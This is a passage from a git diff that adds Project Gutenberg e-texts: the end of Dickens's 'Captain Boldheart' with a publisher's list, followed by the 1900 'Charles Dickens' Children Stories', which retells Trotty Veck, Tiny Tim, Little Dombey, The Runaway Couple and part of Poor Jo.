+[Illustration: "CAPTAIN BOLDHEART'S LADY BEGGED FOR HIM AND HE WAS
+SPARED."]
+
+
+THE END.
+
+
+       *       *       *       *       *
+
+
+           THE ORANGE TREE SERIES
+            OF CHILDREN'S BOOKS
+
+FULLY ILLUSTRATED IN COLOUR, 1s. net. Foolscap 4to, boards
+
+       *       *       *       *       *
+
+1. THE STORY OF RICHARD DOUBLEDICK. By Charles Dickens. With
+illustrations by W. B. Wollen, R.I., R.O.I.
+
+2. THE MAGIC FISHBONE. By Charles Dickens. With illustrations by S.
+Beatrice Pearse.
+
+3. THE TRIAL OF WILLIAM TINKLING. By Charles Dickens. With illustrations
+by S. Beatrice Pearse.
+
+4. CAPTAIN BOLDHEART AND THE LATIN-GRAMMAR MASTER. By Charles Dickens.
+With illustrations by S. Beatrice Pearse.
+
+
+           THE WONDER BOOK
+
+By Nathaniel Hawthorne. With Coloured Illustrations by Patten Wilson.
+
+5. THE GORGON'S HEAD
+6. THE GOLDEN TOUCH
+
+_The above are ready. The following are in active preparation._
+
+ 7. THE PARADISE OF CHILDREN
+ 8. THE THREE GOLDEN APPLES
+ 9. THE MIRACULOUS PITCHER
+10. THE CHIMAERA
+
+
+           TANGLEWOOD TALES
+
+By Nathaniel Hawthorne. With Coloured Illustrations by Patten Wilson.
+
+11. THE MINOTAUR
+12. THE PYGMIES
+13. THE DRAGON'S TEETH
+14. CIRCE'S PALACE
+15. THE POMEGRANATE SEEDS
+16. THE GOLDEN FLEECE
+
+LONDON: CONSTABLE & COMPANY, LIMITED
+
+       *       *       *       *       *
+
+
+
+
+
+End of the Project Gutenberg EBook of Captain Boldheart & the Latin-Grammar
+Master, by Charles Dickens
+
+*** END OF THIS PROJECT GUTENBERG EBOOK CAPTAIN BOLDHEART ***
+
+***** This file should be named 23765-8.txt or 23765-8.zip *****
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diff --git a/first_find/files/satisfactory_books/more_books/37121.txt.utf-8 b/first_find/files/satisfactory_books/more_books/37121.txt.utf-8
new file mode 100644
index 0000000..ed58e13
--- /dev/null
+++ b/first_find/files/satisfactory_books/more_books/37121.txt.utf-8
@@ -0,0 +1,2617 @@
+Project Gutenberg's Charles Dickens' Children Stories, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: Charles Dickens' Children Stories
+
+Author: Charles Dickens
+
+Release Date: August 18, 2011 [EBook #37121]
+
+Language: English
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK CHARLES DICKENS' CHILDREN STORIES ***
+
+
+
+
+Produced by Juliet Sutherland, David E. Brown and the
+Online Distributed Proofreading Team at https://www.pgdp.net
+
+
+
+
+
+
+
+
+
+  [Illustration: _Frontispiece._
+  LITTLE NELL AND HER GRANDFATHER.]
+
+
+
+
+  CHARLES DICKENS'
+
+  CHILDREN STORIES
+
+  RE-TOLD BY HIS GRANDDAUGHTER
+  AND OTHERS
+
+  WITH TWELVE FULL-PAGE ILLUSTRATIONS
+
+  PHILADELPHIA
+  HENRY ALTEMUS COMPANY
+
+
+  COPYRIGHT, 1900, BY
+  HENRY ALTEMUS COMPANY
+
+
+
+
+TROTTY VECK AND HIS DAUGHTER MEG.
+
+
+"Trotty" seems a strange name for an old man, but it was given to Toby
+Veck because of his always going at a trot to do his errands; for he was
+a porter, and carried letters and messages for people who were in too
+great a hurry to send them by the post. He did not earn very much, and
+had to be out in all weathers and all day long. But Toby was of a
+cheerful disposition, and looked on the bright side of everything. His
+greatest joy was his dear daughter Meg, who loved him dearly.
+
+One cold day Toby had been trotting up and down in his usual place
+before the church, when the bells chimed twelve o'clock, which made Toby
+think of dinner.
+
+"There's nothing," he remarked, "more regular in coming round than
+dinner-time, and nothing less regular in coming round than dinner.
+That's the great difference between 'em." He went on talking to himself
+never noticing who was coming near to him.
+
+"Why, father, father," said a pleasant voice, and Toby turned to find
+his daughter's sweet, bright eyes close to his.
+
+"Why, pet," said he, kissing her, "what's-to-do? I didn't expect you
+to-day, Meg."
+
+"Neither did I expect to come, father," said Meg, smiling. "But here I
+am! And not alone, not alone!"
+
+"Why, you don't mean to say," observed Trotty, looking curiously at the
+covered basket she carried, "that you?----"
+
+"Smell it, father dear," said Meg; "only smell it, and guess what it
+is."
+
+Toby took the shortest possible sniff at the edge of the basket. "Why,
+it's hot," he said.
+
+But to Meg's great delight he could not guess what it was that smelt so
+good. At last he exclaimed in triumph, "Why, what am I a-thinking of?
+It's tripe!"
+
+And it was.
+
+Just as Toby was about to sit down to his dinner on the doorsteps of a
+big house close by, the chimes rang out again, and Toby took off his hat
+and said, "Amen."
+
+"Amen to the bells, father?"
+
+"They broke in like a grace, my dear," said Trotty, "they'd say a good
+one if they could, I'm sure. Many's the kind thing they say to me. How
+often have I heard them bells say, 'Toby Veck, Toby Veck, keep a good
+heart, Toby!' A millions times? More!"
+
+"Well, I never!" cried Meg.
+
+While Toby ate his unexpected dinner with immense relish, Meg told him
+how her lover Richard, a young blacksmith, had brought his dinner to
+share with her, and had begged her to marry him on New Year's Day, "the
+best and happiest day of the whole year."
+
+"So," went on Meg, "I wanted to make this a sort of holiday to you, as
+well as a dear and happy day to me, father, and I made a little treat
+and brought it to surprise you."
+
+Just then, Richard himself came up to persuade Toby to agree to their
+plan; and almost at the same moment, a footman came out of the house and
+ordered them all off the steps, and some gentleman came out who called
+up Trotty, and gave him a letter to carry.
+
+Toby trotted off to a very grand house, where he was told to take the
+letter in to the gentleman. While he was waiting, he heard the letter
+read. It was from Alderman Cute, to tell Sir Joseph Bowley that one of
+his tenants named Will Fern who had come to London to try and get work,
+had been brought before him charged with sleeping in a shed, and asking
+if Sir Joseph wished him to be dealt leniently with or otherwise. To
+Toby's great disappointment the answer was given that Will Fern might be
+sent to prison as a vagabond, though his only fault was poverty. On his
+way home, Toby ran against a man dressed like a countryman, carrying a
+fair-haired little girl. The man asked him the way to Alderman Cute's
+house.
+
+"It's impossible," cried Toby, "that your name is Will Fern?"
+
+"That's my name," said the man.
+
+Thereupon Toby told him what he had just heard, and said "Don't go
+there."
+
+  [Illustration: TROTTY VECK'S DINNER.
+  TOBY TOOK A SNIFF AT THE EDGE OF THE BASKET.]
+
+Poor Will told him how he could not make a living in the country, and
+had come to London with his orphan niece to try and find a friend of her
+mother's and to endeavor to get some work, and wishing Toby a happy
+New Year, was about to trudge wearily off again, when Trotty caught his
+hand saying--
+
+"Stay! The New Year never can be happy to me if I see the child and you
+go wandering away without a shelter for your heads. Come home with me.
+I'm a poor man, living in a poor place, but I can give you lodging for
+one night and never miss it," and lifting up the pretty little one, he
+trotted towards home, and rushing in, he set the child down before his
+daughter. The little girl ran into her arms at once, while Trotty ran
+round the room, saying, "Here we are and here we go. Here, Uncle Will,
+come to the fire. Meg, my precious darling, where's the kettle? Here it
+is and here it goes, and it'll bile in no time!"
+
+"Why, father!" said Meg, "you're crazy to-night, I think. Poor little
+feet, how cold they are!"
+
+"Oh, they're warmer now!" exclaimed the child. "They're quite warm now!"
+
+"No, no, no," said Meg. "We haven't rubbed 'em half enough. And when
+they're done, we'll brush out the damp hair; and we'll bring some color
+to the poor pale face with fresh water; and then we'll be so gay and
+brisk and happy!"
+
+The child sobbing, clasped her round the neck, saying, "O Meg, O dear
+Meg!"
+
+"Good gracious me!" said Meg, presently, "father's crazy! He's put the
+dear child's bonnet on the kettle, and hung the lid behind the door!"
+
+Trotty hastily repaired this mistake, and went off to find some tea and
+a rasher of bacon he fancied "he had seen lying somewhere on the
+stairs." He soon came back and made the tea, and before long they were
+all enjoying the meal.
+
+After tea Meg took Lilian to bed, and Toby showed Will Fern where he was
+to sleep. Then he went to sit by the fire and read his paper, and fell
+asleep, to have a wonderful dream so terrible and sad, that it was a
+great relief when he woke to find Meg sitting near him, putting some
+ribbons on her simple gown for her wedding, and looking so happy and
+young and blooming, that he jumped up to clasp her in his arms.
+
+But somebody came rushing in between them, crying,--"No! Not even you.
+The first kiss of Meg in the New Year is mine. Meg, my precious prize,
+a happy year! A life of happy years, my darling wife!"
+
+Then in came Lilian and Will Fern, and a band of music with a flock of
+neighbors burst into the room, shouting, "A Happy New Year, Meg." "A
+happy wedding!" "Many of 'em," and the Drum stepped forward and said--
+
+"Trotty Veck, it's got about that your daughter is to be married
+to-morrow. And there ain't a soul that knows you both that don't wish
+you both all the happiness the New Year can bring. And here we are, to
+play it in and dance it in accordingly." Then Mrs. Chickenstalker came
+in (a good-humored, comely woman, who, to the delight of all, turned out
+to be the friend of Lilian's mother for whom Will Fern had come to
+look), to wish Meg joy, and then the music struck up, and Trotty, making
+Meg and Richard second couple, led off Mrs. Chickenstalker down the
+dance, and danced it in a step unknown before or since, founded on his
+own peculiar trot.
+
+
+
+
+TINY TIM.
+
+
+There was once a man who did not like Christmas. His name was Scrooge,
+and he was a hard sour-tempered man of business, intent only on saving
+and making money, and caring nothing for anyone. He paid the poor,
+hard-working clerk in his office as little as he could possibly get the
+work done for, and lived on as little as possible himself, alone, in two
+dismal rooms. He was never merry or comfortable, or happy, and he hated
+other people to be so, and that was the reason why he hated Christmas,
+because people will be happy at Christmas, you know, if they possibly
+can.
+
+Well, it was Christmas eve, a very cold and foggy one, and Mr. Scrooge,
+having given his poor clerk unwilling permission to spend Christmas day
+at home, locked up his office and went home himself in a very bad
+temper. After having taken some gruel as he sat over a miserable fire in
+his dismal room, he got into bed, and had some wonderful and
+disagreeable dreams, to which we will leave him, whilst we see how Tiny
+Tim, the son of his poor clerk, spent Christmas day.
+
+The name of this clerk was Bob Cratchet. He had a wife and five other
+children beside Tim, who was a weak and delicate little cripple, gentle
+and patient and loving, with a sweet face of his own, which no one could
+help looking at.
+
+It was Mr. Cratchet's delight to carry his little boy out on his
+shoulder to see the shops and the people; and to-day he had taken him to
+church for the first time.
+
+"Whatever has got your precious father, and your brother Tiny Tim!"
+exclaimed Mrs. Cratchet, "here's dinner all ready to be dished up. I've
+never known him so late on Christmas day before."
+
+"Here he is, mother!" cried Belinda, and "here he is!" cried the other
+children, as Mr. Cratchet came in, his long comforter hanging three feet
+from under his threadbare coat; for cold as it was the poor clerk had no
+top-coat. Tiny Tim was perched on his father's shoulder.
+
+"And how did Tim behave?" asked Mrs. Cratchet.
+
+"As good as gold and better," replied his father. "He told me, coming
+home, that he hoped the people in church, who saw he was a cripple,
+would be pleased to remember on Christmas day who it was who made the
+lame to walk."
+
+"Bless his sweet heart!" said the mother in a trembling voice.
+
+Dinner was waiting to be dished up. Mrs. Cratchet proudly placed a goose
+upon the table. Belinda brought in the apple sauce, and Peter the mashed
+potatoes; the other children set chairs, Tim's as usual close to his
+father's; and Tim was so excited that he rapped the table with his
+knife, and carried "Hurrah." After the goose came the pudding, all
+ablaze, with its sprig of holly in the middle, and was eaten to the last
+morsel; then apples and oranges were set upon the table, and a shovelful
+of chestnuts on the fire, and Mr. Cratchet served round some hot sweet
+stuff out of a jug as they closed round the fire, and said, "A Merry
+Christmas to us all, my dears, God bless us." "God bless us, every one,"
+echoed Tiny Tim, and then they drank each other's health, and Mr.
+Scrooge's health, and told stories and sang songs.
+
+  [Illustration: TINY TIM.
+  TINY TIM WAS PERCHED ON HIS FATHER'S SHOULDER.]
+
+Now in one of Mr. Scrooge's dreams on Christmas eve a Christmas spirit
+showed him his clerk's home; he saw them all, heard them drink his
+health, and he took special note of Tiny Tim himself.
+
+How Mr. Scrooge spent Christmas day we do not know; but on Christmas
+night he had more dreams, and the spirit took him again to his clerk's
+poor home.
+
+Upstairs, the father, with his face hidden in his hands, sat beside a
+little bed, on which lay a tiny figure, white and still. "Tiny Tim died
+because his father was too poor to give him what was necessary to make
+him well; _you_ kept him poor," said the dream-spirit to Mr. Scrooge.
+The father kissed the cold, little face on the bed, and went
+down-stairs, where the sprays of holly still remained about the humble
+room; and taking his hat, went out, with a wistful glance at the little
+crutch in the corner as he shut the door. Mr. Scrooge saw all this, but,
+wonderful to relate, he woke the next morning feeling as he had never
+felt in his life before.
+
+"Why, I am as light as a feather, and as happy as an angel, and as merry
+as a schoolboy," he said to himself. "I hope everybody had a merry
+Christmas, and here's a happy New Year to all the world."
+
+Poor Bob Cratchet crept into the office a few minutes late, expecting to
+be scolded for it, but his master was there with his back to a good
+fire, and actually smiling, and he shook hands with his clerk, telling
+him heartily he was going to raise his salary, and asking quite
+affectionately after Tiny Tim! "And mind you make up a good fire in your
+room before you set to work, Bob," he said, as he closed his own door.
+
+Bob could hardly believe his eyes and ears, but it was all true. Such
+doings as they had on New Year's day had never been seen before in the
+Cratchet's home, nor such a turkey as Mr. Scrooge sent them for dinner.
+Tiny Tim had his share too, for Tiny Tim did not die, not a bit of it.
+Mr. Scrooge was a second father to him from that day, he wanted for
+nothing, and grew up strong and hearty. Mr. Scrooge loved him, and well
+he might, for was it not Tiny Tim who had unconsciously, through the
+Christmas dream-spirit, touched his hard heart, and caused him to become
+a good and happy man?
+
+
+
+
+LITTLE DOMBEY.
+
+
+Little Dombey was the son of a rich city merchant, a cold, stern, and
+pompous man, whose life and interests were entirely absorbed in his
+business. He was so desirous of having a son to associate with himself
+in the business, and make the house once more Dombey & Son in fact, as
+it was in name, that the little boy who was at last born to him was
+eagerly welcomed.
+
+There was a pretty little girl six years old, but her father had taken
+little notice of her. Of what use was a girl to Dombey & Son? She could
+not go into the business.
+
+Little Dombey's mother died when he was born, but the event did not
+greatly disturb Mr. Dombey; and since his son lived, what did it matter
+to him that his little daughter Florence was breaking her heart in
+loneliness for the mother who had loved and cherished her!
+
+During the first few months of his life, little Dombey grew and
+flourished; and as soon as he was old enough to take notice, there was
+no one he loved so well as his sister Florence.
+
+In due time the baby was taken to church, and baptized by the name of
+Paul (his father's name). A grand and stately christening it was,
+followed by a grand and stately feast; and little Paul was declared by
+his godmother to be "an angel, and the perfect picture of his own papa."
+
+But from that time Paul seemed to waste and pine; his healthy and
+thriving babyhood had received a check, and as for illnesses, "There
+never was a blessed dear so put upon," his nurse said.
+
+By the time he was five years old, though he had the prettiest, sweetest
+little face in the world, there was always a patient, wistful look upon
+it, and he was thin and tiny and delicate. He soon got tired, and had
+such old-fashioned ways of speaking and doing things, that his nurse
+often shook her head sadly over him.
+
+When he sat in his little arm-chair with his father, after dinner, they
+were a strange pair,--so like, and so unlike each other.
+
+"What is money, papa?" asked Paul on one of these occasions, crossing
+his tiny arms as well as he could--just as his father's were crossed.
+
+"Why, gold, silver and copper; you know what it is well enough, Paul,"
+answered his father.
+
+"Oh yes; I mean, what can money do?"
+
+"Anything, everything--almost," replied Mr. Dombey, taking one of his
+son's wee hands.
+
+Paul drew his hand gently away. "It didn't save me my mamma, and it
+can't make me strong and big," said he.
+
+"Why, you _are_ strong and big, as big as such little people usually
+are," returned Mr. Dombey.
+
+"No," replied Paul, sighing; "when Florence was as little as me, she was
+strong and tall, and did not get tired of playing as I do. I am so tired
+sometimes, papa."
+
+Mr. Dombey's anxiety was aroused, and the doctor was sent for to examine
+Paul.
+
+"The child is hardly so stout as we could wish," said the doctor; "his
+mind is too big for his body, he thinks too much--let him try sea
+air--sea air does wonders for children."
+
+So it was arranged that Florence, Paul, and nurse should go to Brighton,
+and stay in the house of a lady named Mrs. Pipchin, who kept a very
+select boarding-house for children.
+
+There is no doubt that, apart from his importance to the house of Dombey
+& Son, little Paul had crept into his father's heart, cold though it
+still was towards his daughter, colder than ever now, for there was in
+it a sort of unacknowledged jealousy of the warm love lavished on her by
+Paul, which he himself was unable to win.
+
+Mrs. Pipchin was a marvellously ugly old lady, with a hook nose and
+stern cold eyes.
+
+"Well, Master Paul, how do you think you will like me?" said Mrs.
+Pipchin, seeing the child intently regarding her.
+
+"I don't think I shall like you at all," replied Paul, shaking his head.
+"I want to go away. I do not like your house."
+
+Paul did not like Mrs. Pipchin, but he would sit in his arm-chair and
+look at her. Her ugliness seemed to fascinate him.
+
+As the weeks went by little Paul grew more healthy-looking, but he did
+not seem any stronger, and could not run about out of doors. A little
+carriage was therefore got for him, in which he could be wheeled down to
+the beach, where he would pass the greater part of the day. He took a
+great fancy to a queer crab-faced old man, smelling of sea-weed, who
+wheeled his carriage, and held long conversations with him; but Florence
+was the only child companion whom he ever cared to have with him, though
+he liked to watch other children playing in the distance.
+
+"I love you, Floy," he said one day to her.
+
+Florence laid her head against his pillow, and whispered how much
+stronger he was growing.
+
+"Oh, yes, I know, I am a great deal better," said Paul, "a very great
+deal better. Listen, Floy; what is it the sea keeps saying?"
+
+"Nothing, dear, it is only the rolling of the waves you hear."
+
+"Yes, but they are always saying something, and always the same thing.
+What place is over there, Floy?"
+
+She told him there was another country opposite, but Paul said he did
+not mean that, he meant somewhere much farther away, oh, much farther
+away--and often he would break off in the midst of their talk to listen
+to the sea and gaze out towards that country "farther away."
+
+After having lived at Brighton for a year, Paul was certainly much
+stronger, though still thin and delicate. And on one of his weekly
+visits, Mr. Dombey explained to Mrs. Pipchin, with pompous
+condescension, that Paul's weak health having kept him back in his
+studies, he had made arrangements to place him at the educational
+establishment of Dr. Blimber, which was close by. Florence was, for the
+present, to remain under Mrs. Pipchin's care, and see her brother every
+week.
+
+Dr. Blimber's school was a great hot-house for the forcing of boy's
+brains; and Dr. Blimber promised speedily to make a man of Paul.
+
+"Shall you like to be made a man of, my son?" asked Mr. Dombey.
+
+"I'd rather be a child and stay with Floy," answered Paul.
+
+Miss Blimber, the doctor's daughter, a learned lady in spectacles, was
+his special tutor, and from morning till night his poor little brains
+were forced and crammed till his head was heavy and always had a dull
+ache in it, and his small legs grew weak again--every day he looked a
+little thinner and a little paler, and became more old-fashioned than
+ever in his looks and ways--"old-fashioned" was a distinguishing title
+which clung to him. He was gentle and polite to every one--always
+looking out for small kindnesses which he might do to any inmate of the
+house. "The oddest and most old-fashioned child in the world," Dr.
+Blimber would say to his daughter; "but bring him on, Cornelia--bring
+him on."
+
+And Cornelia did bring him on; and Florence, seeing how pale and weary
+the little fellow looked when he came to her on Saturdays, and how he
+could not rest from anxiety about his lessons, would lighten his labors
+a little, and ease his mind by helping him to prepare his week's work.
+But one day, when his lessons were over, little Paul laid his weary and
+aching head against the knee of a schoolfellow of whom he was very fond;
+and the first thing he noticed when he opened his eyes was that the
+window was open, his face and hair were wet with water, and that Dr.
+Blimber and the usher were both standing looking at him.
+
+"Ah, that's well," said Dr. Blimber, as Paul opened his eyes, "and how
+is my little friend now?"
+
+"Oh, quite well, thank you, sir," answered Paul, but when he got up
+there seemed something the matter with the floor, and the walls were
+dancing about, and Dr. Blimber's head was twice its natural size. He was
+put to bed, and presently the doctor came and said he was not to do any
+more lessons for the present.
+
+In a few days Paul was able to get up and creep about the house. He
+wondered sometimes why every one looked at and spoke so very kindly to
+him, and was more than ever careful to do any little kindnesses he could
+think of for them: even the rough, ugly dog Diogenes, who lived in the
+yard, came in for a share of his attentions.
+
+There was a party at Dr. Blimber's on the evening before the boys went
+home. Paul sat in a corner of the sofa all the evening, and every one
+was very kind to him indeed, it was quite extraordinary, Paul thought,
+and he was very happy; he liked to see how pretty Florence was, and how
+every one admired and wished to dance with her. After resting for a
+night at Mrs. Pipchin's house, little Paul went home, and was carried
+straight upstairs to his bed.
+
+  [Illustration: LITTLE PAUL AND FLORENCE.
+  A LITTLE CARRIAGE WAS GOT FOR HIM.]
+
+He lay in his bed day after day quite happily and patiently, content
+to watch and talk to Florence. He would tell her his dreams, and how he
+always saw the sunlit ripples of a river rolling, rolling fast in front
+of him; sometimes he seemed to be rocking in a little boat on the water,
+and its motion lulled him to rest, and then he would be floating away,
+away to that shore farther off, which he could not see. One day he told
+Florence that the water was rippling brighter and faster than ever, and
+that he could not see anything else.
+
+"My own boy, cannot you see your poor father?" said Mr. Dombey, bending
+over him.
+
+"Oh yes, but don't be so sorry, dear papa. I am so happy,--good-bye,
+dear papa." Presently he opened his eyes again, and said, "Floy, mamma
+is like you, I can see her. Come close to me, Floy, and tell them,"
+whispered the dying boy, "that the face of the picture of Christ on the
+staircase at school is not divine enough; the light from it is shining
+on me now, and the water is shining too, and rippling so fast, so fast."
+
+The evening light shone into the room, but little Paul's spirit had gone
+out on the rippling water, and the Divine Face was shining on him from
+the farther shore.
+
+
+
+
+THE RUNAWAY COUPLE.
+
+
+"Supposing a young gentleman not eight years old was to run away with a
+fine young woman of seven, would you consider that a queer start? That
+there is a start as I--the boots at the Holly-Tree Inn--have seen with
+my own eyes; and I cleaned the shoes they ran away in, and they was so
+little that I couldn't get my hand into 'em.
+
+  [Illustration: THE RUNAWAY COUPLE.]
+
+"Master Harry Walmers's father, he lived at the Elms, away by Shooter's
+Hill, six or seven miles from London. He was uncommon proud of Master
+Harry, as was his only child; but he didn't spoil him neither. He was a
+gentleman that had a will of his own, and an eye of his own, and that
+would be minded. Consequently, though he made quite a companion of
+the fine bright boy, still he kept the command over him, and the child
+_was_ a child. I was under gardener there at that time I and one morning
+Master Harry, he comes to me and says--
+
+"'Cobbs, how should you spell Norah, if you were asked?' and he took out
+his little knife and began cutting that name in print all over the
+fence. The next day as it might be, he stops, along with Miss Norah,
+where I was hoeing weeds in the gravel, and says, speaking up--
+
+"'Cobbs, I like you! Why do I like you do you think, Cobbs? Because Norah
+likes you.'
+
+"'Indeed, sir,' says I. 'That's very gratifying.'
+
+"'Gratifying, Cobbs?' says Master Harry. 'It's better than a million of
+the brightest diamonds, to be liked by Norah. You're going away ain't
+you, Cobbs? Then you shall be our head gardener when we're married.' And
+he tucks her, in her little sky-blue mantle, under his arm, and walks
+away.
+
+"I was the boots at this identical Holly-Tree Inn when one summer
+afternoon the coach drives up, and out of the coach gets these two
+children. The young gentleman gets out; hands his lady out; gives the
+guard something for himself; says to my governor, the landlord: 'We're
+to stop here to-night, please. Sitting room and two bed-rooms will be
+required. Mutton chops and cherry pudding for two!' and tucks her under
+his arm, and walks into the house, much bolder than brass.
+
+"I had seen 'em without their seeing me, and I gave the governor my
+views of the expedition they was upon. 'Cobbs,' says the governor, 'if
+this is so, I must set off myself and quiet their friends' minds. In
+which case you must keep your eye upon 'em, and humor 'em, until I come
+back. But before I take these measures, Cobbs, I should wish you to find
+out from themselves whether your opinion is correct.'
+
+"So I goes upstairs, and there I finds Master Harry on an e-nor-mous
+sofa a-drying the eyes of Miss Norah with his pocket handkercher. Their
+little legs was entirely off the ground, of course, and it really is not
+possible to express how small them children looked. 'It's Cobbs! it's
+Cobbs!' cries Master Harry, and he comes a-runing to me, and catching
+hold of my hand. Miss Norah, she comes running to me on t'other side,
+and catching hold of my t'other hand, and they both jump for joy. And
+what I had took to be the case was the case.
+
+"'We're going to be married, Cobbs, at Gretna Green,' says the boy.
+'We've run away on purpose. Norah has been in rather low spirits, Cobbs;
+but she'll be happy now we have found you to be our friend.'
+
+"'I give you my word and honor upon it that, by way of luggage the lady
+had got a parasol, a smelling-bottle, a round and a half of cold
+buttered toast, eight peppermint drops, and a doll's hair-brush. The
+gentleman had got about a dozen yards of string, a knife, three or four
+sheets of writing-paper folded up surprisingly small, a orange, and a
+chaney mug with his name on it.
+
+"'What may be the exact nature of your plans, sir?' says I.
+
+"'To go on,' replies the boy, 'in the morning, and be married
+to-morrow.'
+
+"'Just so, sir. Well, sir, if you will excuse my having the freedom to
+give an opinion, what I should recommend would be this. I'm acquainted
+with a pony, sir, which would take you and Mrs. Harry Walmers junior to
+the end of your journey in a very short space of time. I am not
+altogether sure, sir, that the pony will be at liberty to-morrow, but
+even if you had to wait for him it might be worth your while.'
+
+"They clapped their hands and jumped for joy, and called me 'Good
+Cobbs!' and 'Dear Cobbs!' and says I, 'Is there anything you want at
+present, sir?'
+
+"'We should like some cakes after dinner,' answers Mr. Harry, 'and two
+apples--and jam. With dinner we should like to have toast and water. But
+Norah has always been accustomed to half a glass of currant wine at
+dessert, and so have I.'
+
+"'They shall be ordered, sir,' I answered, and away I went; and the way
+in which all the women in the house went on about that boy and his bold
+spirit was a thing to see. They climbed up all sorts of places to get a
+look at him, and they peeped, seven deep, through the keyhole.
+
+"In the evening, after the governor had set off for the Elms, I went into
+the room to see how the run-away couple was getting on. The gentleman
+was on the window seat, supporting the lady in his arms. She had tears
+upon her face, and was lying very tired and half asleep, with her head
+upon his shoulder.
+
+"'Mrs. Harry Walmers junior fatigued, sir?'
+
+"'Yes, she's tired, Cobbs; she's been in low spirits again; she isn't
+used to being in a strange place, you see. Could you bring a Norfolk
+biffin, Cobbs? I think that would do her good.'
+
+"Well, I fetched the biffin, and Master Harry fed her with a spoon; but
+the lady being heavy with sleep and rather cross, I suggested bed, and
+called a chambermaid, but Master Harry must needs escort her himself,
+and carry the candle for her. After embracing her at her own door he
+retired to his room, where I softly locked him in.
+
+"They consulted me at breakfast (they had ordered sweet milk and water,
+and toast and currant jelly, over night) about the pony, and I told 'em
+that it did unfortunately happen that the pony was half clipped, but
+that he'd be finished clipping in the course of the day, and that
+to-morrow morning at eight o'clock he would be ready. My own opinion is
+that Mrs. Harry Walmers junior was beginning to give in. She hadn't had
+her hair curled when she went to bed, and she didn't seem quite up to
+brushing it herself, and it getting into her eyes put her out. But
+nothing put out Mr. Harry. He sat behind his breakfast cup tearing away
+at the jelly, as if he'd been his own father.
+
+"In the course of the morning, Master Harry rung the bell,--it was
+surprising how that there boy did carry on,--and said in a sprightly
+way, 'Cobbs, is there any good walks in the neighborhood?'
+
+"'Yes, sir, there's Love Lane.'
+
+"'Get out with you, Cobbs!'--that was that there mite's
+expression--'you're joking.'
+
+"'Begging your pardon, sir, there really is a Love Lane, and a pleasant
+walk it is; and proud shall I be to show it to yourself and Mrs. Harry
+Walmers junior.'
+
+"Well, I took him down Love Lane to the water meadows, and there Master
+Harry would have drowned himself in another minute a getting out a
+water-lily for her. But they was tired out. All being so new and strange
+to them, they were as tired as tired could be. And they laid down on a
+bank of daisies and fell asleep.
+
+"They woke up at last, and then one thing was getting pretty clear to
+me, namely, that Mrs. Harry Walmers junior's temper was on the move.
+When Master Harry took her round the waist, she said he 'teased her so';
+and when he says, 'Norah, my young May moon, your Harry tease you?' she
+tells him, 'Yes, and I want to go home.'
+
+"A boiled fowl, and baked bread and butter pudding, brought Mrs. Walmers
+up a little; but I could have wished, I must privately own, to have seen
+her more sensible to the voice of love and less abandoning herself to
+the currants in the pudding. However, Master Harry, he kep' up, and his
+noble heart was as fond as ever. Mrs. Walmers turned very sleepy about
+dusk, and began to cry. Therefore, Mrs. Walmers went off to bed as per
+yesterday; and Master Harry ditto repeated.
+
+"About eleven at night comes back the governor in a chaise, along of
+Master Harry's father and a elderly lady. And Master Harry's door being
+unlocked by me, Master Harry's father goes in, goes up to the bedside,
+bends gently down, and kisses the little sleeping face. Then he stands
+looking at it for a moment, looking wonderfully like it; and then he
+gently shakes the little shoulder. 'Harry, my dear boy! Harry!'
+
+"Master Harry starts up and looks at his pa. Such is the honor of that
+mite, that he looks at me, too, to see whether he has brought me into
+trouble.
+
+"'I am not angry, my child. I only want you to dress yourself and come
+home.'
+
+"'Yes, Pa.' Master Harry dresses himself quick.
+
+"'Please may I--please, dear pa--may I--kiss Norah before I go?'
+
+"Master Harry's father he takes Master Harry in his hand, and I leads
+the way with the candle to that other bedroom where the elderly lady is
+seated by the bed, and poor little Mrs. Harry Walmers junior is fast
+asleep. There the father lifts the boy up to the pillow, and he lays his
+little face down for an instant by the little warm face of poor little
+Mrs. Harry Walmers junior, and gently draws it to him.
+
+"And that's all about it. Master Harry's father drove away in the chaise
+having hold of Master Harry's hand. The elderly lady Mrs. Harry Walmers
+junior that was never to be (she married a captain long after and went
+to India) went off next day."
+
+
+
+
+POOR JO!
+
+
+Jo was a crossing-sweeper; every day he swept up the mud, and begged for
+pennies from the people who passed. Poor Jo wasn't pretty and he wasn't
+clean. His clothes were only a few poor rags that hardly protected him
+from the cold and the rain. He had never been to school, and he could
+neither write nor read--could not even spell his own name.
+
+Poor Jo! He was ugly and dirty and ignorant; but he knew one thing, that
+it was wicked to tell a lie, and knowing this, he always told the truth.
+One other thing poor Jo knew too well, and that was what being hungry
+means. For little Jo was very poor. He lived in Tom-all-Alones, one of
+the most horrible places in all London. The people who live in this
+dreadful den are the poorest of London poor. All miserably clad, all
+dirty, all very hungry. They know and like Jo, for he is always willing
+to go on errands for them, and does them many little acts of kindness.
+
+No one in Tom-all-Alones is spoken of by his name. Thus it is that if
+you inquired there for a boy named Jo, you would be asked whether you
+meant Carrots, or the Colonel, or Gallows, or young Chisel, or Terrier
+Tip, or Lanky, or the Brick.
+
+Jo was generally called Toughy, although a few superior persons who
+affected a dignified style of speaking called him "the tough subject."
+
+Jo used to say he had never had but one friend.
+
+It was one cold Winter night, when he was shivering in a door-way near
+his crossing, that a dark-haired, rough-bearded man turned to look at
+him, and then came back and began to talk to him.
+
+"Have you a friend, boy?" he asked presently.
+
+"No, never 'ad none."
+
+"Neither have I. Not one. Take this, and Good-night," and so saying the
+man, who looked very poor and shabby, put into Jo's hand the price of a
+supper and a night's lodging.
+
+Often afterwards the stranger would stop to talk with Jo, and give him
+money, Jo firmly believed, whenever he had any to give. When he had
+none, he would merely say, "I am as poor as you are to-day, Jo," and
+pass on.
+
+One day, Jo was fetched away from his crossing to a public-house, where
+the Coroner was holding an Inquest--an "Inkwich" Jo called it.
+
+"Did the boy know the deceased?" asked the Coroner.
+
+Indeed Jo had known him; it was his only friend who was dead.
+
+"He was very good to me, he was," was all poor Jo could say.
+
+The next day they buried the dead man in the churchyard hard by.
+
+But that night there came a slouching figure through the court to the
+iron gate. It stood looking in for a little while, then with an old
+broom it softly swept the step and made the archway clean. It was poor
+Jo; and as he went away, he softly said to himself, "He was very good to
+me, he was."
+
+Now, there happened to be at the Inquest a kind-hearted little man named
+Snagsby, and he pitied Jo so much that he gave him half-a-crown.
+
+Jo was very sad after the death of his one friend. The more so as his
